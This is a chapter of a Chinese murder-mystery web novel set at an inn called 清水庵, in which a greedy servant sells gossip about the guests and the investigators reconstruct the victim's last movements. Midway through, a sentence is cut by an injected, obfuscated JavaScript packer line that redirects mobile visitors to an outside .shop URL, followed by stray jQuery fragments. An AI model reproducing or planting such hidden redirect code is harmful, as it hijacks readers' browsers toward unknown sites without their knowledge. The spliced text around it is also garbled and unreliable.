11. 线索2
    田庆见洛麟川好似很重视他的话,眼神嗖的一亮,愈发侃侃而谈,

    “不是奴才自夸,在这清水庵里面,南来北往的客人见多了,那是什么奇怪的人和事都遇到过,”

    意识到话题跑偏,“就这几天呀,正好是踏春的季节,来的客人也比较多,不过有几个是真的很有故事。”

    田庆眼睛闪着光,似乎在期待洛麟川继续向他提问。

    洛麟川也满足了他,让抚竹给了他二十文,田庆接了银子,快乐的说道,

    “就说那天字四号房和五号房,别看是分开的两家人,可其实,是一家人,四号房的是五号房的妻子,那小妾是新纳的,

    就他们来住了几日,那小妾一会儿不是想吃这鲍鱼就是那吃那人参的,可难伺候了,偏偏那冯老爷就吃那一套。

    而且本来冯夫人和冯老爷是住一间的,结果每天晚上那小妾都说肚子里的孩子在踢她,要冯老爷陪着,啧啧”

    田庆说得津津有味,“前个儿晚上冯老爷本也想过去夫人房间的,又被小妾拉住了,那夫人是真生气了,

    跑过去和冯老爷吵了一架,还打了冯老爷一耳光,冯老爷也没示弱,给扇回去了,啧啧啧,那一架之后,至今还在冷战呢。”

    田庆一副吃瓜快乐的模样,

    “他们俩吵的时候,奴才搁那听着,你猜怎么着,原来那冯老爷还是上门女婿呀,

    只是因为夫人生不出来孩子,才给他纳的妾,这妾还是夫人主动纳的呢,结果现在和她对着干,夫人心里有多气呀!”

    感觉给田庆一堆瓜子,他能唠半天。

    洛麟川适当的止住了他,“这便是你说的奇怪的事情?”

    田庆收敛神色,“奴才还有呢,”一顿,

    “不过洛公子,若是奴才提供了什么很有用的线索,能有多少报酬呀?”

    洛麟川眯眼,他有些讨厌这人贪得无厌的德行,“至少一贯,看你给的真有用?”

    田庆连忙道不敢欺骗洛公子,继续说,“那书生的哥哥,就是那说书的,其实,他们兄弟的关系也很奇怪,

    那书生与那说书的,两个人是前后脚来的,甚至最开始都不是住一间屋

    ——要不是因为大雨没房间了需要凑合,他们俩也不会住在一起,”

    “那书生似乎很不想奴才们把他和说书的联系在一起,说白了,有些嫌弃说书的,

    那说书的也似乎知道,他们之前都没开口说话,就算有眼神接触,书生都不接的。”

    “昨晚上,书生本来住四号房,但是后来几个修路的也租了那间房,书生嫌弃他们味道大,汗臭,便想换房间,

    可是本来就都不熟,谁会和他换,最后是说书的跟住他隔壁床的大汉说他们是兄弟,又给了些银子,最后书生才住的五号房。

    那大汉也不是个挑的,哦对了,他就是那冯老爷的马夫。”

    洛麟川再给了田庆一贯钱,田庆乐呵呵的谢恩,“若奴才还有消息,是不是也有银子?”

    得到满意的答复,田庆卖乖道,“这个跟那死书生就没关系了,不过之前洛少爷问奴才奇怪的事情,奴才想到的,说这个,也有赏吗?”

    田庆见洛麟川出手大方,便起了挣钱的心思。

    洛麟川忍无可忍,喝道,“你还敢得寸进尺?知情不报,你可是想窝藏凶犯?”

    田庆吓一跳,面前这个十四五岁的少年郎虽然出生富贵,瞧不上这些小钱,但是过了度,惹他不快,就得不偿失了,

    “哎呦,奴才不敢,是奴才财迷心窍了,其实真跟那书生没关系,是这样,奴才们的管事,

    云娘,一素也跟奴才一样,是个小心眼的,但昨天对一个小郎君可大方了,单独给了他一间房洗浴不说,居然没咋收他钱,

    依奴才看呀,是她春心动了,也不想想那小郎君才多大,真是老牛吃嫩草,不嫌躁得慌。”

    被提到的殷拾岄,转头瞪向田庆,这厮浑说什么,明明是云娘的热心之举,

    她还是给了银子的,都能被他说得这般龌龊,什么还老牛吃嫩草,真是无语。

    这厢,田庆好似很有体会,颇有些恨恨的说,“那云,管事,之前跟马厨子相好才得以进来的,

    最开始跟下面的那些小二一样也就是端茶送水的,再后来马厨子跑了,她好似又攀上了东家,这才摇身一变成了清水庵的管事。

    如今还耐不住寂寞,想勾搭小郎君,真是,和六号房那位一个样,”

    田庆看了看洛麟川,善意的提醒道,“洛少爷呐,这些个女子一个个起着攀龙附凤的心思,用完了男人们就扔,

    少爷这般的人物最是吸引她们这种女子,可千万小心呀,莫轻信了那些个女子的话。”

    殷拾岄感觉到被冒犯,说话不客气道,“我瞧是你嫉妒云娘吧,我可听说你也是这里的老员工了,

    之前你和云娘还竞争过管事一职呢,结果没选上你吧!”

    田庆被刺中痛处,不免跳脚,“分明是那个女人勾引东家,才会当上管事的,”

    又仔细瞧了瞧殷拾岄,哦~~~,奴说怎么小郎君看着这么眼熟呢,原来你就是那个云娘勾搭的小郎君呀,”

    说完一副我看穿你的表情。

    洛麟川打断二人的谈话,“行了,没事你先出去吧。”

    田庆愤愤的离开。

    “我不是说,别说没有云娘了,就他这副德行,能在清水庵做这么久的伙计都难得。”

    宁自安瞧着田庆离开的背影,“没见过几个小二像他这么横的。”

    “你瞧,”殷拾岄拿着几张纸条,上面写的就是关于田庆的线索,应该是清水庵的奴仆写的,

    大意就是田庆是东家的亲戚,平日里在清水庵里作威作福,昨天也是,下午骂了几个仆从之后就大摇大摆的离开清水庵了,

    他的事情自然而然的就甩给了其他人,但是其他人平白无故增加工作也不满,自然不会那么上心。

    “田庆本身是管厨房的,昨天下午田庆离开厨房之后,被交代工作的几个仆从怀着怨气,也不过就在厨房打了一头就走了,

    并没有按照规定,将厨房的用具收拾好,更没有锁门。”

    殷拾岄拿笔在纸上画着,从大厅到观鲤池之间,是条蜿蜒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175822|150561||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的小路,厨房也在这条路上,

    而更巧的是,韩蒙尸体被发现的茅房,听说就在厨房和观鲤池之间。”

    “对,奴之前打听到,韩蒙就是在那个茅房发现的,而且好像还被桶了呢。”西砚搭话。

    “是呀,厨房的门没锁,用具也没收,捅死死者的刀,就有可能是凶手进厨房拿的刀。”殷拾岄捏着证词条,若有所思道。

    “据了解,清水庵厅院一二楼皆设有茅房,仆从居住的后院也有两个分男女的茅房,云管事房中有单独的茅房,二楼雅间也都是单独的茅房,

    而韩蒙尸体被弃的茅房位于观鲤池和厨房之间。

    其实清水庵的茅房实在是很充足,只是实在前夜留下的人太多,为此有些人便去了该处,当时声称自己去过该处茅房的有四人,

    都是结伴而行,不过我觉得肯定不止这四个,毕竟那是命案现场,那些单独去的觉得需要避嫌。”

    “厨房位于大厅和观鲤池中央,因此走这边的脚印是最多的,”

    殷拾岄拿起两张纸条,“这是其中一对承认去过的人的证词,但他们不是从大厅到厨房的

    ——在后院休息的赵虎和陈名,二人声称不知为何有些闹肚子,本想在院中如厕,可是院中茅房竟然都有人在,

    又因为规定他们是不能去大厅打扰客人如厕,是以他们只好去案发地,”

    殷拾岄顿一下,“这个时候,是亥时六刻,也是这个时候,他们,看见了死者。”

    “亥时六刻(十点半)?那岂不是又延长了死者存活的时间?

    等等,也就是说,至少在亥时六刻的时候韩蒙已经不在房间了,所以方敏看见的,

    的确应该是看见韩蒙出去的时候,而韩寄回来的时候她应该已经熟睡了。”洛麟川惊奇道。

    “是的,此时的死者韩蒙还活着,他从观鲤池正走向茅厕方向,因为路程较比二人远,他排在了他二人之后,

    因此二人离开后韩蒙才进的茅房,之后有没有出来过,还无人可以验证。

    只是我们没法去现场,看不见从观鲤池至此处茅房的脚印有几排。

    不过,赵、陈二人声称他们看见的只有死者韩蒙一人,至于有其他人在其后躲藏,这就不得而知了。”

    殷拾岄叹口气,她是真想去现场看看呐,可惜她们都没权限。

    “观鲤池?大晚上,他莫非还真去幽会?”宁自安抽抽嘴角,这可真是,牡丹花下死了。

    如今掌握的情况愈发印证之前的猜测,殷拾岄不免对繁宜十分怀疑。

    “结合所有证词,都无人再看见过韩蒙,因此昨夜韩蒙最后出现在人们的视线是亥时六刻(十点半)。

    而这处的茅房,虽然一直下着雨,但是因为大厅有赌局也有乐曲,一直很热闹,难免有几个就没地方如厕,

    最后来了此处,也就是承认到过茅房的第二对,冯老板的两个手下冯二冯三,两人在找茅厕的时候相遇,

    然后一起结伴来了此处,他们二人的时间还在赵陈二人之前。”

    “凶手的踪影,难不成真的没人看见过?”宁自安皱眉。